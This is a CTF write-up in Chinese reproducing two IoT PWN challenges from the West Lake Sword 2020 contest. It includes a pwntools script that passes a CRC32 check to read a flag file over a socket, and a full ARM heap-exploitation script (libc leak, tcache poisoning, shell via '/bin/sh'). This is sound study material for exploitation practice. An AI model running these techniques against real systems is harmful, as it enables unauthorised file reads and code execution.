西湖论剑2020IOT闯关赛-PWN

复现pwn的wp

Posted by X1ng on November 24, 2020

由于一些神奇的原因,菜鸡如我居然成功加入了ChaMd5安全团队

恭喜ChaMd5荣获西湖论剑IoT闯关赛第一名

看师傅们的exp复现一波PWN题目

babyboa

环境搭建失败,,搁置

messageBox

例行检查

32位小端序,只开了NX保护

ida打开

函数原型

int pthread_create(pthread_t *tidp, const pthread_attr_t *attr,
( void *)(*start_rtn)( void *), void *arg);

若线程创建成功,则返回0。若线程创建失败,则返回出错编号

返回成功时,由tidp指向的内存单元被设置为新创建线程的线程ID

新创建的线程从start_rtn函数的地址开始运行,arg是指针参数,如果需要向start_rtn函数传递的参数不止一个,那么需要把这些参数放到一个结构中,然后把这个结构的地址作为arg的参数传入

来自https://blog.csdn.net/zhou1021jian/article/details/71514738

函数原型

int pthread_join(pthread_t thread, void **retval);

以阻塞的方式等待thread指定的线程结束。当函数返回时,被等待线程的资源被收回。如果线程已经结束,那么该函数会立即返回

retval中存储被等待线程的返回值,0代表成功,失败,返回的则是错误号

来自https://blog.csdn.net/qq_37858386/article/details/78185064

所以跟进init_socket函数看看

学一波网络编程

函数原型

int socket(int domain, int type, int protocol);

建立一个协议族为domain、协议类型为type、协议编号为protocol的套接字文件描述符。如果函数调用成功,会返回一个标识这个套接字的文件描述符,若失败,返回-1

函数原型

int bind ( int sockfd, struct sockaddr * addr, socklen_t addrlen );

返回: 0 ──成功, - 1 ──失败

在进行网络通信的时候,必须把一个套接字与一个地址相关联,这个过程就是地址绑定的过程

函数原型

int listen(int sockfd, int backlog);

返回:0──成功, -1──失败

设置sockfd所标识的套接字为被动等待用户来连接

函数原型

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

从连接请求队列中获得连接信息,创建新的套接字,并返回该套接字的文件描述符,新创建的套接字用于服务器与客户机的通信,而原来的套接字仍然处于监听状态

若失败,则返回-1

函数原型

ssize_t recv(int sockfd, void *buf, size_t len, int flags);

从sockfd所标识的套接字中接收len长度的数据,保存在buf中

成功返回发送的字节数,失败返回-1

所以就是监听6780端口,用handle_message函数处理接收到的数据

在申请了0x1000E大小的堆块dest用于存放消息后的主要代码如下

			strcpy(dest, s);
      v9 = ((unsigned __int8)s[6] << 8) + (unsigned __int8)s[7];
      if ( v9 <= 0x1000 )
      {
        v8 = (char *)calloc(v9 + 1, 1u);
        if ( v8 )
        {
          strcpy(v8, dest + 14);
          memcpy(&s1, dest, 6u);
          if ( !strcmp(&s1, "H4bL1b") )
          {
            v7 = crc32(v8, v9);
            v6 = ((unsigned __int8)s[10] << 24)
               + ((unsigned __int8)s[11] << 16)
               + ((unsigned __int8)s[12] << 8)
               + (unsigned __int8)s[13];
            if ( v6 == v7 )
            {
              v5 = ((unsigned __int8)s[8] << 8) + (unsigned __int8)s[9];
              send_loop(v5, v8);
              v1 = 1;
            }
            else
            {
              makeup_error_response(49153, "Message crc error!");
              free(v8);
              free(dest);
              v1 = 0;
            }
          }
          else
          {
            makeup_error_response(49152, "Message header error!");
            free(v8);
            free(dest);
            v1 = 0;
          }
        }
        else
        {
          makeup_error_response(49150, "Malloc failed!");
          v1 = 0;
        }
      }
      else
      {
        makeup_error_response(49151, "Message body too long!");
        free(dest);
        v1 = 0;
      }

需要注意的是,这里多处使用strcpy函数来复制消息,如果我们发送的消息里有\x00字节,则\x00后面的消息不会被复制

先判断 s[6]、s[7]处组成宽字节代表的整数 是否大于0x1000,从下面的出错信息可以猜测这里应该是消息体的长度,然后验证接收的数据开始6个字节是不是”H4bL1b”,再进行crc32的验证,通过验证则进入send_loop函数,参数为消息体和 s[8]、s[9]组成的宽字节代表的整数

有两个分支,show函数用于发送一些字符串,重点操作在getAction函数中

这里有三个功能,readFile功能会执行dump_apmib_conf函数

也就是对输入的路径过滤后读取路径中的文件

过滤的函数compare_filename

然后用b64encode函数进行base64编码,用make_send_message发送

也就是说如果可以通过crc32的检查的话,就可以直接读取flag

先用0xffffffff填充crc32的校验码,在gdb调试的时候可以看到crc32函数的返回值

gdb调试多进程:

查看当前所有线程

i threads

切换跟踪线程

thread N(N为gdb中的线程编号)

exp:

from pwn import *
import sys
import base64

context.log_level='debug'

p = remote("0.0.0.0",6780)

header = b"H4bL1b"
l = b'\x01\x01'
op = b'\x01\x02'

crc32 = 0x5f6a802d #0xffffffff #get it in debug

crc = b'\x5f\x6a\x80\x2d'

pd = header + l + op + crc + b"readFile:/workspace/flag"
p.send(pd)
s = p.recv()
print(base64.decodestring(s))
p.interactive()

ezArmpwn

复现的时候发现自己对32位的ptmalloc堆内存管理很不熟悉,先复习一下32位的ptmalloc堆内存管理

  1. 地址8字节对齐
  2. fastbin默认的最大值是0x40

题目说明

例行检查

32位小端序,只开了NX保护

ida打开

init初始化缓冲区,进入register函数

在输入username的时候没有限制长度,输入passwd时候限制0x28个字节

play函数提供add和delete功能

add可以申请0x70一下的chunk,size和address都保存在bss段

delete只会清空前面的size

info函数

打印username和password

modify函数

可以往passwd地址写0x48字节

漏洞利用

在modify函数中的一处可以覆盖掉strcpy函数写入的\x00,然后可以用info泄露栈上残留的libc地址

由于在libc-2.30,只有uaf而不能修改key,不能直接用tcache attack

团队师傅使用的方法是让两个chunk合并后放入unsortedbin,申请的时候就可以覆盖到uaf残留的指针,从而修改key,将这个uaf残留的指针放到tcache后故技重施修改fd实现tcache attack

贴一下师傅的exp:

from pwn import *

context.log_level="debug"
def info():
   p.sendlineafter("> ","2")


def play():
   p.sendlineafter("> ","1")


def add(index,size,note):
   play()
   p.sendlineafter("> ","1")
   p.sendafter(": ",str(index))
   p.sendlineafter(": ",str(size))
   p.sendafter(": ",note)


def delete(index):
   play()
   p.sendlineafter("> ","2")
   p.sendlineafter(": ",str(index))
   
#p=process(["qemu-arm-static","-g","1237","-L","../libs","./pwn3"])

p=process(["qemu-arm-static","-L","../libs","./pwn3"])
#p = remote("20.20.11.14", 9999)



un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"

p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")


p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")


info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248


for i in range(9):
   add(i,0x40,"aaaa\n")

add(15,6,"a\n") #0x10

delete(15)  #tcache[0x10]=15


for i in range(9):
   delete(8-i) #0+1->unsorted bin(0x90)
    

add(9,0x70,b"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+b"\n")
delete(1) #tcache[0x10]=1->15

delete(9) #tcache[0x70] = 9 


add(10,0x70,b"a"*0x40+p32(0)+p32(0x11)+p32(libc+0x1479cc)+b"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x03a028)+b"\n")
delete(11)

p.interactive()